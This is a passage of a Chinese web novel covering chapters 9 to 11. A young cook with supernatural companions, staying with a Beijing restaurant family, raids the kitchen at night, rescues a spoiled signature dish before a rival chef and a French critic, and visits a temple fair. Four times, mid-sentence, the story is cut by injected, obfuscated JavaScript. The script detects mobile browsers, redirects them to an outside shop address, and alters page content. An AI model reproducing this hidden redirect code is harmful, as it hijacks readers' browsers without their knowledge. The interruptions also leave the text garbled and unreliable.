“李老爷子不必怎么说，能被贵府招待是我和小叶的幸运。再者说我两一路上京这盘缠早就用的所剩无几了，实在是囊中羞愧。”郭婵比叶九仟更不要脸直接扯下遮羞布直言，“就烦请老爷子行行好收留我们几日，实在不行我们可以在南方斋做工嘛，我和叶九仟都是洗碗的陈年好手。” 李新城被爷爷那一眼满是恨铁不成钢的眼神搞得莫名其妙，怎么了吗，他们家的传统不是热情待客吗？ 最后郭婵和叶九仟还是如愿以偿了，李存根表示他实在不忍两个可爱的小娃娃流落街头，哪怕这两人实际不像外表看起来乖巧。 郭婵谢过李新城就回房休息了，整个李家大院已经熄灯陷入了一片漆黑。她一个人在黑暗中静坐。 不一会儿响起了有规律的敲门声，三长一短。接着门被悄悄推开，探出了一个圆溜溜的脑袋。 哪怕不是一次两次了，郭婵看着叶九仟探进来的脑袋还是再一次的感叹这世上怎么有如此圆润的头呢。 以及该死的这两货又饿了。“嘿嘿，小婵婵我们饿了，有吃的吗？”应龙一边飞过来一边说道，语气极其谄媚。 郭婵咬了下后槽牙，说：“以前我就不说你了，但是这次李家不是已经请了我们一顿了吗，还没吃饱啊！” 叶九仟已经坐在客房的小圆桌旁开始啃苹果，嗯，有点蔫，算了，吃就完了。 应龙苦着黄瓜脸，飞绕着郭婵转圈圈：“我们也不想的嘛，但是我和九仟两人都是圣兽本来吃的就比你们普通人多嘛，现在这世道天地灵气越来越少已经不能给我们供养了。” 郭婵扶额，第一千零一次怀疑自己到底是多倒霉才和这两个遇上。但是没有办法啊，她在心里苦笑，然后将桌子底下的一个包裹提出来。 将包裹摊开，叶九仟和应龙双眼放光，好多白面馒头，全是白面馒头。 一鸟一龙对视一眼，接着以饿虎扑食的姿态扑向那群馒头，狼吞虎咽地吃起来。 “这馒头真好吃，嗝。”叶九仟毫无形象地瘫坐在凳子上。 而一旁的应龙还在跟抢到的最后一个馒头奋斗，整个龙头加上半个龙身都埋在馒头里，只剩下一条小尾巴在空中尽情摇摆。 应龙把嘴巴张到一百八十度咬住最后一口和他脑袋差不多的馒头，努力的打算一口咽下。 叶九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289745|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仟和郭婵都用一种敬仰的眼神看应龙慢慢塞下馒头，然后细细的身体隆起一块，顺着应龙吞咽的动作移到身体的中后方腹部位置，只不过几息就消失殆尽。 郭婵无奈地问：“你们饱了没？”叶九仟回以羞涩一笑，应龙腆着脸飞到郭婵肩膀上小心翼翼地问：“没饱会这样啊？” 郭婵死鱼眼回他：“那就忍着。”应龙将身体扭成波浪形，悄悄抬眼瞧她，说道：“我们还没饱诶，小婵婵不要这么狠心嘛。” 叶九仟在旁边出馊主意：“我已经摸清楚厨房的位置了，就在后面那一排。” 看着叶九仟和应龙两双亮晶晶的眼，好吧，反正没节操的事他们已经干过很多次了，也不差这一件。 于是在深夜静悄悄的李家大院，一行两人一龙轻手轻脚地在夜幕的遮掩下向着李家的厨房出发。 幸好这三人都有着夜视能力，一路没有任何波折顺利的到达目的地。 郭婵进去后靠着应龙卓绝的嗅觉成功找出一小袋面粉，一把青菜，一锅冷灶上的猪骨高汤。 三人互相对视，点头。下一秒叶九仟吐出一簇火苗，应龙拽来一块木案板使其顺利升空稳稳停在郭婵的前方。 郭婵深吸一口气，移来装着高汤的锅于火焰上空用文火加热慢熬。自己则抓起面粉开始揉面团。 面团成型后，抓起仅剩下的一小把面粉洒在案板上开始拉面条，数次折叠，又数次随着郭婵的手拉伸。 很快面团就成了一把把细如龙须的细面条。叶九仟已经在旁边又燃起一簇火焰并且偷拿了厨房里的大铁锅放于火焰上加热。 已经加热过的猪骨汤在小火慢熬下散发出美妙的淡淡脂肪香气，郭婵将面条沿锅边下入面条，用筷子绕圈搅拌一下，掐好时间放入一把青翠欲滴的小青菜。 “关火。”郭婵说，叶九仟一口气吹去息了火苗，只剩下一个大锅漂浮在空中。 随着余温的散发，锅中的香气渐渐激发出来，从刚开始的寡淡到现在的浓郁。叶九仟和应龙两个一起咽口水，还没等两人有所行动，厨房外突然传出人声“什么东西这么香，谁在用厨房。” 坏了，郭婵悚然一惊被发现了，叶九仟和应龙两人面面相觑，赶紧逃吧。 两人一龙赶紧将东西归于原处，郭婵一马当先逃窜到窗户旁，开窗子翻了出去，第二个是叶九仟，第三个是叼着大铁锅的应龙。 一直逃回房间关上门，郭婵才松了一口气，旁边传来叶九仟的粗喘声。两人正在高兴又一次逃跑成功，突然发现怎么听不见应龙的声音。 郭婵转头问叶九仟：“应龙不是在你身后出来的吗？”叶九仟回想一下说：“是啊，他在我身后出来的。” 接着房间里响起了嗦嗦的声音，两人相顾无言，真不愧是他，逃跑还不忘偷锅。 正当两人终于放下心时，“咚，咚，咚”敲门声响起，郭婵只觉得头皮发麻，是谁找来了？ 9. 第 9 章 正在郭婵和叶九仟两个人在互相使眼色指示对方开门挡雷时，门外站着的人先笑出了声，是李新城。 郭婵心里的大石头落地了，李新城这么温柔善良的一个人，现在听声音也不像是生气的样子，应该没事吧。 算了早死早超生，郭婵狠狠心一把拉开了门。门外李新城提着把煤油灯，眉眼含笑，进来后还自觉地关上了门。 叶九仟缓了过来，憨憨本性露头，直接莽，开口问：“你怎么发现是我们的呀？” 李新城放好煤油灯，正好看见一个眼熟的大铁锅放在桌上，确认了是他从小用到大自家厨房里的大铁锅。 不过他脾气确实好，看见这一幕也没有疑心郭婵两人是否目的不纯，或者说在他看来以这两人的手艺没有必要到特意去厨房行偷窃之事。毕竟这锅里面的香气可是一路把他给勾过来的。 李新城笑着举起两个手指，坦言：“一，今天家里就来了你们两个外人。二，我鼻子很灵，一路闻着香味就过来了。”指了指桌上的一锅面。 郭婵心虚地讨好他：“不愧是百年南方斋的传人，在这厨艺一道上天赋是顶尖的。” 李新城被她事后补救逗笑，摆摆手说：“我可不敢在你面前提厨艺，不过是从小学厨有个好鼻子罢了。可介意我尝尝这面？” 郭婵立马从自己带的行李抽出双干净筷子，双手递到李新城手上。李新城也不客气，一掀袍子坐下，还热烈招呼在一旁的叶九仟快来吃。 面条以龙须面的形式呈现，细滑可口，再喝一口熬煮了好几个小时的猪大骨高汤，莫名的热意从脚底一路涌上头顶。 本来是寒冷的夜晚，李新城却吃得头顶微微冒汗，他的嗅觉果然没有欺骗他。 闻着那一路的香味，他的胃口就被勾了出来，哪怕晚饭才过去两个时辰，他硬生生觉得自己还能吃下一碗，果然能激发出如此香味的清汤面又怎么会是凡物呢。 李新城终究只是凡人，不过吃了大概一碗左右的量就已经饱了。看着叶九仟一个劲地吃面条，喝大骨汤，还贴心嘱咐他多吃点青菜，这青菜也很好吃。 顶着藏在暗处应龙杀人的目光，叶九仟只能苦哈哈地夹起一筷子青菜，直接往嘴里一塞，囫囵咀嚼了几口就下咽。 内心满是悲伤，为什么要让他个挑食的人吃青菜，可是有郭婵在一旁盯着他不敢不吃。 郭婵最讨厌有人挑食尤其是挑她做的饭菜，可是叶九仟就是不喜欢吃青菜哪怕他知道郭婵做的青菜也不会难吃到哪里去。 以往他都是靠应龙帮他解决的，结果这次应龙碍于原形不便显露于人前而躲了起来，李新城又诚邀他多吃点青菜，叶九仟只能含泪解决青菜。 李新城吃饱后就提出来告辞，有叶九仟这位郭婵的异父弟弟在场，但这么晚了还在一个未婚姑娘房里实在是不大妥当，即使一开始被美食迷了心，如今也是时候离开。 李新城礼貌告辞，郭婵和叶九仟礼貌相送，只有应龙一个人在暗处流眼泪，呜呜呜，他的面还没吃几口就没了，只有应龙一个人受伤的世界达成了。 郭婵和叶九仟目送李新城的背影消失在转角，立马关门。 转身却被吓了一跳，一只散发着荧绿光芒的长条形生物在他俩面前不到一米处仿若漂浮在海水中一样上下起伏。 应龙眼眸涣散，就这样盯着空无一物的大铁锅发呆，心中不知在怎样悼念他逝去的夜宵。 叶九仟眼珠子一转，立马跳窗逃跑，没吃饱点的应龙肯定回来找他算账，他跑为上记。 果然叶九仟一离开，应龙就像火箭般咻的一下加速跟在叶九仟屁股后面。 郭婵走到大开着的窗边，想着叶九仟到底有什么毛病，门在旁边不走非要跳窗。 她记得叶九仟原身是三足金乌啊，总没有什么偷偷摸摸的天赋遗传吧，果然家门不幸，郭婵一边摇头一边把窗合上。 在心里倒数十秒后，外面传来砰砰砰的□□碰撞声，和叶九仟压低声音的求饶，到最后叶九仟恼羞成怒，一人一龙开始对骂。 算了明天还是美好的一天，郭婵像是游魂似的回到床上。今天还是很美好的，虽然偷了李家的锅，但是至少第一天没有被赶出去。 说到锅，郭婵脑子里突然一下灵光乍现，从床上弹了起来，烦躁地挠挠头。该死的锅还在她房间桌上，明天又得早早起来把锅还回去了。 -翌日早上 郭婵正在打着瞌睡，旁边的叶九仟拿着个盘子刷的起劲。李存根虽然怜惜这两人勉强收留了他们，但是打工是不能少的。 郭婵和叶九仟在南方斋一开始营业就被叫过来洗刷碗碟。可怜郭婵为了还李家的大铁锅硬是比李家早起准备早点的人还早起了半个时辰偷摸着去还锅。 于是严重睡眠不足的她克制不住自己开始打瞌睡了，两人就在后厨出来的一个小转角洗碗，头顶只有一个小木棚，三面漏风也挡不住郭婵的睡意。 很快给他们开门的李婶和她孙子两人提着一个装满碗碟的大箩筐过来，放在地上，看到郭婵上眼皮下眼皮缠缠绵绵，问了句：“昨晚没睡好，也是昨天李家进小偷了你们的客房离厨房近吵到你们了吧？” 郭婵处于一个睡又没有完全睡着的状态完全听不到李婶说话。而叶九仟在发现长久的沉默后，茫然抬起头发现面前和善的大娘正一错不错的盯着自己。 突然福至心灵毫无羞耻心地开口：“是啊，我姐平常睡眠浅昨晚确实没睡好，不过这洗碗不是还有我嘛，让她偷空补个觉。” 李婶用手指点点他，说：“你倒是个疼你姐的主，放心这里除了我没几个人过来早上南方斋还不忙你姐就补个觉，不过中午了客人多你姐可就不能再偷懒了。” 李婶就是管这后厨杂事的人，她丈夫是李家的一个分支，现在也在后厨当厨子，算是比较有势的人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289746|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不过既然主家的大少爷李新城特意嘱咐照顾照顾这两人，对郭婵的偷懒行为她也只能睁一只眼闭一只。 郭婵断电断着突然从半睡不睡中清醒过来，鼻头微动，闻着空气中的味道。叶九仟问她：“你在干嘛呢？醒了就快洗碗。” 结果被郭婵瞪了一眼，她现在这么困是因为谁没点数嘛。叶九仟缩缩脖子，不敢再说话老老实实继续刷碗，他不想再被郭婵拎着擀面杖打了，自己就委屈点包容一下她吧。 郭婵丢下一句“我先离开一会儿。”起身朝着后厨的方向走了，留下身后的叶九仟尔康手，你怎么能丢下我一个人在这刷碗。 南方斋主营午餐，晚餐，早餐虽然营业但是不重视最多提供个包子豆浆。而到了这早餐与午餐的时间间隔，是后厨最忙的时候。 忙着备菜，早上农户进城送来的新鲜蔬菜要洗净按照不同用途事先处理成不同形状，而一些需要经过两道，三道处理的菜品也需要进行先期处理。 例如这糖醋里脊，南方斋的做法就是先将足够用一个中午的里脊肉切细条，裹上生粉，裹上这薄薄一层面衣，在油温六成时先下锅炸个七八成熟。 等到中午客人点了这菜，才将里脊肉回锅再炸一次，炸得面衣酥脆，里面肉紧锁住汁水，肉质嫩滑。到时候配上独家秘方的糖醋汁，就成了南方斋的招牌茶。 而此时一堆围在后厨，李新城和李存根都在其中。郭婵乘着大家都在忙碌没什么人注意她，光明正大的趴在门口偷听。 不一会儿就搞清楚了事情的来龙去脉。原来这生粉不知道什么时候混了一面粉，等到帮厨全部炸完才发现面衣过于粘牙，色泽也不同往日。 叫来几个主厨一看一尝才发现这事，但是这中午需要所有份额的里脊肉都炸完了，加之今天有个厨师界的名厨带着一位听说是外国请来的美食家点名要尝尝南方斋的招牌菜。 总不能端上去人家发现少一个菜，一问说是后厨不小心弄错了面衣中午的糖醋里脊都做不了吧。 这事可以说是南方斋的重大失误，传出去南方斋的名声都要大跌。这厨师来者不善，早年是李存根的同门师弟，两人曾在同一个江淮菜名厨手下学艺。 后来因为理念不同加之师傅更加偏爱同是厨师世家出身的李存根，师弟董旭直接叛出师门自立门户，李存根和董旭已经快三十年没有来往了。 这董旭搭上了外国人的门路，就扬言来南方斋品菜。在厨师界有所深耕的人都知道恐怕这董旭别有意图。 李存根的老友们也劝李存根别接下这事，但是李存根心里对这个师弟有气硬是同意了这事。 临到头出了这事，难免不让人多想，但是如今火烧眉毛也顾不得调查这生粉中混入淀粉到底是意外还是人为了，最重要的是如何交出一盘完美的糖醋里脊。 就在这时，突然一道清越的女声响起“我有个法子，不如让我试一试。” 10. 第 10 章 后厨里围着商讨解决方案的所有人的都是疑惑的，哪冒出来一个双十年华的貌美小姑娘大言不惭？ 不过看着小姑娘清澈的双眸，他们也不好像是训徒弟一样将郭婵大骂一顿再撵出去。一时间一圈人你看看我，我看看你竟然没一个人阻止。 倒是李新城眼睛一亮，他也混在这一圈人里，跟在自己的爷爷身后，这事他还轮不上说话，不过倒是可以跟爷爷谈谈。 李新城侧身，在李存根耳边说：“爷爷，不妨让郭姑娘试一试。反正到了这个境地有办法总比没办法好。先让郭姑娘拿一盘的量试试，您和各位叔伯且去坐着再商量商量还有没有另外的法子。” 李新城说的委婉，留下了很大的余地。加之老友信上将郭婵的厨艺夸得天上有地上无。李存根自己也很心动想趁着郭婵的话头见识一下。 于是李存根出言定下：“那就让郭婵试一试吧，反正已经如此了我们这群大男人也没商量出来什么法子。” 既然老爷子都发话了，其他人自然不好出声反驳。于是有着李存根打头一行人都退了出去，留下个熟悉的李新城在旁边帮郭婵打打下手，熟悉一下厨房东西。 李新城问了郭婵需要什么，将郭婵需要用到的东西全部找了出来，又告诉她调料的摆放位置和一些厨具的位置，就打算退出去。 郭婵出声将他留了下来：“你帮帮我吧，就这一会儿功夫我也搞不清东西在哪里。”李新城诧异地指指自己，说：“我留下来？这不好吧，毕竟我是外人。” 郭婵直说：“这法子在我看来不算我的秘方，你学去了也无碍。再说昨天那事还靠你提我们遮掩，何必和我计较这些，你倒是不大会变通。” 李新城害羞的笑笑，嘴角的小酒窝若隐若现。不会变通的李新城最后死于自己的不会变通是件多么讽刺的事。 他一路顺风顺水，在厨艺上几乎没遇到过挫折。他是真正意义上被家人保护得很好的人，最后也不负家人期盼成为李家的保护者。 已经炸制好的里脊肉外面裹着一层黄白色的面衣，郭婵叫李新城和自己一起动手，她给李新城示范如何处理这里脊肉。 挑出一条里脊肉放在擦拭干净的大刀下，用巧劲将里脊肉滚上一圈，达到外面那层面衣有些碎裂但又没有脱落的地步。 看着李新城疑惑的眼神，郭婵笑眯眯地解释：“这外面的面衣比起纯生粉做的面衣来说略有些湿，进口不大酥脆。干脆将它碾碎，露出里面的里脊肉，外面再裹一层生粉，高温下锅炸个十息，最后按原来的步骤复炸就可。” 她也不多说，毕竟她可没说自己用的法子做出来的是正宗的糖醋里脊，这改良之后的糖醋里脊能不能博得大家喜爱拉出来溜溜即可。 李存根和几位大厨在后厨旁的一个小茶厅里商量着对策，因为正午来临，大部分厨师都纷纷回去后厨准备菜肴。 只剩下李存根和他的三个儿子原本在后厨就是监督者和指导者的角色，因此现在后厨少了他们还能继续运行。 干脆就继续等着，既等着郭婵的成品能不能解决现在南方斋的危机，也继续讨论还有没有什么补救的法子。 五个人商讨来商讨去都没什么好办法，正在发愁呢。三儿子李文澜挠挠头说：“要不直接跟客人说了吧，今天咱们就不做糖醋里脊了。” 他二哥看看坐在上头李存根难看的脸色，踢了李文澜小腿一脚，示意他别说了，看看老爷子那脸色的难看的。 李文澜在几个兄弟中虽然略显迟钝，但不傻，二哥李文泽一提醒立马闭嘴当自己没说过这话。 就在五人都在愁眉苦脸想着怎么办时，郭婵和李新城一人端着一盘已经稍好点的糖醋里脊进来了。 李文澜和李文潇年纪较轻，见两人进来立马就冲了过去，看着盘子色泽暗红，汤汁浓稠得像是只要轻轻夹起一块就能拉丝。 肉眼看，色香形味，四意达到了色，形，香味更是不用说，他们离的近口水都泛滥了，这事有戏。 李存根看着端上来的两盘糖醋里脊觉得问题似乎迎刃而解了，对郭婵的手艺有了信心。也不多说，拿出早早备在一旁的筷子迫不及待地夹起一块。 细细品尝，外表酥脆，肉质嫩滑，隐隐还可以感觉在咬破外面炸酥的面衣时有颗粒感，不过在调味上比起他们往常的江淮菜做法更偏向于临近的浙菜。 不过倒是比以往的糖醋里脊口感上更加丰富。这么一吃，李存根是把心放到了肚子里，对于接下来的一场硬仗有了信心。 另外几人也是赞不绝口，一口接着一口很快五人就将整整两盘糖醋里脊吃完了，李文澜摸摸肚子，不住地咂嘴回味尤觉还没尝够。 不过接下来和缓的气氛又有了凝滞的趋势，只因外面的掌柜进来说是董旭和他邀来的那位外国美食评论家已经到了，正在去雅间的路上。 李存根一下子拉下了脸，丢下一句“你们好好准备着。”先行离开去会会自己这个来意不明的师弟。 老大李文涛出面恳求郭婵：“郭姑娘小小年纪厨艺不凡，这道糖醋里脊令我等叹服。接下来烦请姑娘再伸援手帮我南方斋度过接下来的难关，事后必有重报” 咳咳，什么重报不重报的郭婵也不是很在意，她答应是因为李存根好心收留了他们，加之对李新城另眼相看，不是在意钱，她穷但不穷志气。 这边李家几口人和郭婵其乐融融开始准备上菜，另一边的李存根心情就不是很美好了，他深吸一口气平复一下心情，省的到时候火气上来了和董旭互殴，在别人面前丢面子。 推门进去，就是董旭在和一个金发碧眼的外国人聊天，董旭看到李存根来了，立马站起身和旁边的诺曼先生介绍：“这是南方斋的第二代传人，这家餐馆已经有了百年的历史，在首都非常有名气，我和这位李存根先生曾在一位师傅的门下学习过。” 又对着李存根说：“在我身边的这位是来自佛郎西国的美食家诺曼先生，同时也是一位绅士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289747|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 李存根没听明白这佛郎西人有多大来头，秉持着来者皆是客的原则，笑着朝诺曼伸手，笑着说：“你好，你好。” 诺曼显然对华国有些了解，甚至会说一些简单的通用语，非常友好地和李存根握手，回道：“很高新减到你（很高兴见到你）。” 李存根勉强听懂了，非常敷衍地点点头，说“都好，都好。”然后借着去看菜的名头溜回后厨。 董旭也不在意，他年轻时和这位师兄的关系好不到哪去，这次来也不是全没目的的。这位诺曼先生是位华国迷，对于华国的菜肴更是有极大的好感。 他一直以来梦想着华国菜能够走出国门走向世界，因此最近几年都在国外学习一些新式的做菜方法。 对于一直以来困于江淮菜这一个江湖里的师傅和李存根抱着不屑的态度，觉得自己的东西融汇的方法才能真正发扬中国菜。 也在机缘巧合之下结识了在法国有着大名气的诺曼先生，在诺曼提出想要真正踏上华国的土地品尝正宗的华国菜肴后，董旭自荐为导游。 诺曼先生一直很欣赏自己所做东西融汇的华国菜肴，这次董旭带他来是为了在李存根面前展示自己多年来的厨艺所得，顺便打击一下这位师兄的自信心。 毕竟年轻时因为自己的师傅不认可自己所谓东西融汇的理念对自己一直都是大加叱责，闹得最僵的时候甚至放话要将他逐出师门。 不一会儿董旭预定的特色菜陆陆续续的上来，董旭只品尝了几口，对他而言并不满意，都是底下的厨师的作品，李存根比他年长十几岁早就已经很少下厨了。 倒是诺曼还算给面子，觉得南方斋的特色菜还是不错的，但是比起董旭的创新江淮菜还是差了一些，董旭的菜肴更合他胃口。 听到诺曼的发言，董旭笑意更深，这至少证明了自己过往的思路是对的。华国菜要想走出国门，只有东西融汇一条路可走。 眼看的大菜都上来了，诺曼还是没有找到自己特别满意的菜肴。 这最后一盘菜是李存根亲自端上来的，董旭的心提了起来，这最后一道菜估计不简单，要不李存根也不会亲自端给他们。 果然李存根眉眼带笑，特别热情地招呼他们多吃点。一掀开盖子，发现只是一盘糖醋里脊，董旭在心里笑自己太多疑了。 诺曼来者不拒，立马夹起一块糖醋里脊品尝，大为惊艳，嘴里还没咽下去筷子就送到嘴边了，根本没有点评的功夫，嘴里被塞得满满的。 董旭看着诺曼的表现心里有了疑惑，自己上手夹了一块。一吃沉默了，他厨艺有所大成也有二十年，这道菜他有心想鸡蛋里挑骨头，都没办法说出一点不足。 只能愤恨地和诺曼抢食，他知道自己输在了这道大众皆知的糖醋里脊上，但是这么好吃不吃就是傻子。 两人吃饱喝足有心想认识一下这道糖醋里脊的厨师，李存根有些疑虑但是还是把人请了上来，反倒是董旭和诺曼惊掉了下巴。 11. 第 11 章 董旭不可思议地转向李存根，在李存根笑眯眯的神态中确认眼前这个貌美少女就是制作出令他也为之感叹的糖醋里脊的人。 诺曼倒是比他更容易接受现实，直接就冲上去和郭婵寒暄，一顿叽里呱啦的佛郎西语输出，郭婵虽然活了上千年但一直在华国打转。 对于外国有点知晓，但是语言交流确实是戳中她死穴。郭婵立马宕机，只觉得这个外国人怎么不说人话，净是咕咕噜噜的。 诺曼见郭婵一个劲点头一句话不发，连忙拉上董旭做中间翻译。在董旭的帮助下两人才勉强交流起来。 诺曼：“没想到您这样的美人居然有如此厨艺，华国文化果然博大精深。” 郭婵：“过奖，过奖。” 诺曼：“不知道您愿不愿意到佛郎西国去，真是想让佛郎西国的人都见识见识华国的菜肴。” 郭婵：那倒不必，她还没在自家玩够。 郭婵礼貌拒绝了诺曼先生的邀请，诺曼虽然很是遗憾惋惜但是理解，他在了解华国的诗词后很是见识到了华国人对家的重视。 哪怕它腐朽，它糜烂，它在外人看来摇摇欲坠，大厦将倾，依然有人不愿意放弃，不愿意离开。 诺曼摇摇头将这件严肃的事甩出自己的脑海，看着一屋子的人都在热烈聊着那糖醋排骨，在这样存粹的氛围中他不想去想这样的事。 在热爱面前什么都不是距离。 董旭原本碍着面子只是和郭婵在客气的交谈，但是后来房间里涌入了一群已经空闲的厨师。 大家都很好奇郭婵用了什么方法来挽救糖醋里脊，甚至能够让口感更上一个层次。但是怕郭婵是家传或者师传的秘方不好外泄而左右为难，大家都很懂事的不提。 郭婵在这群人夸赞的话语中敏锐地感受到隐藏在其中的暗流涌动，也不是什么很精贵的方子。 主动接下了话头提起自己是如何制作这糖醋里脊，大家瞬间安静下来，董旭在一旁也认真地竖起耳朵侧耳倾听。 听完后大家像是有了感悟纷纷点头，郭婵的方子也在董旭的心里成功掀起了翻天大浪。 董旭不禁反思自己对于华国菜的看法是否陷入了窠臼。原先他一直嘲笑师傅师兄们，甚至是做传统中国菜的厨师们，觉得他们太过于落伍，靠着老祖宗传下来的手艺吃饭。 当厨师，就没有不想被别人承认的。董旭自认自己是鸿鹄，他更有野心与妄想，他要让华国国土之外的人也承认华国的菜肴，华国的厨艺。 因此他在被师傅发现在看西传菜谱而被狠狠训斥不用心趁早滚蛋时，在被连续惩罚一个月去跑堂时，他都是咬着牙不服输。 他觉得自己有长远的目光，他觉得自己所谓的东西融汇是华国菜终究要走的一条路，并且一直以来得到的反馈也证明他是对的。 董旭在他人仰慕的目光中膨胀，他开始看不清周围人的面目，他开始变得没有目标，没有真实感。 而现在郭婵给了他当头一棒，他明白他所谓的东西融汇只不过是一条走偏的路，实力能打破一切限制。 华国菜肴需要创新，但不需要他自以为是的创新。董旭似乎明白师傅在发现他着迷于外国菜时的想法。 这位老师傅一辈子在厨房打转，他这一辈子接触的最多的刀，是盐，是醋。他在隐隐约约中发现华国的菜系需要创新，但是在徒弟迈出第一步时直觉这不是该走的路。 郭婵在明处看着在外围阴影下若有所思的董旭，笑意爬上眼底。一个厨师该明白自己的路，她作为灶神，虽然是未来灶神，董旭也算是她的徒子徒孙，给他点提示也是应该的。 即使再不舍，热闹也要散了，生活并不全是热闹。大师傅们纷纷回后院去休息，卷点的去后厨试验一下自己新得的想法。 因为要去租下的公馆整理行李，诺曼依依不舍地提出了离开。董旭和自己的师兄李存根对视一眼，互相明白了接下来的活动。 李存根领着董旭去自己品尝休息的一个小阳台，两人坐在躺椅上，晒着午后暖洋洋的阳光。 董旭微眯着眼睛，开口：“以前我以为要是想让华国菜走向世界，我需要学外国的方法，华国的太古老，老到几千年的历史。” 接着摇摇头无奈笑道：“直到郭婵的出现，她真的是令人无法想象，这么小的年纪却已经能够做出这样的菜肴。师傅骂我，罚我是对的，我的目光太长远了，呵，远到看不清脚下的路，走偏了道。” 李存根第一次在几十年后和自己的这位师弟心平气和的说话，他一向心宽，安慰董旭：“好在现在看清了路不是嘛。” 董旭陷入沉默，闭着眼呼吸平稳像是睡着了一样。李存根知道没有，他躺在躺椅上慢慢闭上眼，像是自言自语：“没事的，师傅大度得很。” 董旭的眼珠子在眼皮下转，他明白师兄对他的安慰，也很是受用，最后只剩下一声长长的叹息。 而当郭婵回到后厨，叶九仟托她的福已经成功从洗碗小哥升级为无所事事人员，现在正在炫饭，真的是炫白米饭，一口糖醋里脊，五口白米饭。 吃得津津有味，吃得心满意足，郭婵不禁扶额，她觉得好丢脸，在叶九仟来来往往的人无论脚步多匆忙，眼神总要落在叶九仟上几秒。 李新城不知道从哪里钻出来，抱拳笑着道：“郭师傅，可要不要去休息一下，接下来没什么事，郭师傅要是需要我陪着你们逛逛京城。” 郭婵明白李新城的试探，但是不讨厌，只说：“我可担不起这一声师傅，你还是唤我郭姑娘或者直接唤我郭婵。” 李新城腼腆的笑笑，说带他们出去逛逛，好不容易来京城一趟，哪有不去看一看，玩一玩之理。 叶九仟在旁边激动地一放碗，抢话：“怎么不去，肯定要去，我还没逛过京城呢。” 郭婵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289748|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拗不过叶九仟，只能跟着走了。李新城第一站带他们去的是附近的城隍庙，最近正值三月一度的庙会。 庙会连开三天，今天是第一天。白天都是些小摊贩和出来挑家用的女人男人们，到了晚上，花灯挂出来，表演开起来，才是真正热闹。 满街都是人挤人，摩肩接踵。到处都是孩子清脆的笑声，和同游人窃窃私语的声音，到处都弥漫着欢乐的气氛。 节日总是最能调动人们情绪的，无论多困难的生活，在这样欢乐的氛围下总会自觉地找好角落藏好自己。 郭婵哪怕没有进入这样的氛围中，可看着附近大声吆喝的摊贩们，回想起自己小时候父亲哪怕再忙，到了庙会的时候，也要带着自己去逛逛。 她自幼失母，父亲又是要接管家族餐馆的厨师更是忙碌，一天能见到就是自己要睡觉的时候了。 小女孩梳着双丫髻，坐在高大威猛的父亲肩上，以一个独特的视角俯视这整座被装扮得华丽的街。蜡烛透过各形各色的灯笼发出绚烂的光芒照耀在每个人的身上。 而她缠着自己的父亲，撒娇着要冰糖葫芦，要糖人，而且用软软的声音强调是要龙形的糖人。 父亲觉得愧对于女儿，对于女儿的要求笑着一一满足。又带着年幼的郭婵去看烟花和江湖客表演。等到女儿忍不住开始打哈欠眼神迷蒙，才轻柔的抱在怀里带她回家。 一年只有几次因此在郭婵的记忆里显得弥足珍贵。看着叶九仟像个小孩子一样被摊子上摆出的各色小玩意吸引。 郭婵眼底满是笑意，她看到了过去幼时的自己，明明每次去逛庙会买的东西就那老几样，看的也都是一个套路，但还是忍不住开心，开心的吃，开心的玩。 叶九仟看上个凤凰形状的糖人，眼巴巴地跑回郭婵身边放射狗狗光线，试图感化郭婵，让她出钱。 毕竟因为他因为各种不可言说的原因被偷钱骗钱后，郭婵再也没给他一个字儿，反正他吃喝住行都是和自己一块，郭婵就心安理得地不给他钱。 而没有零花钱的后果就是，叶九仟连个小小的糖人都买不起，等着郭婵给他掏钱。 不过这次上道的李新城看到他目光停留在那个凤凰糖人上许久就自己掏钱给叶九仟买了，还一买就是两个。 一个给叶九仟，一个给郭婵。郭婵倒是有些意外之喜，李新城解释道:”今天看你尝了几块冰糖，想必也是喜欢甜口的，吃块糖人甜甜口。” 郭婵在心里感叹李新城真是个妙人，他以包容的目光注视着所有人，观察他们的小爱好，小习惯，最后理所当然地温暖所有人。 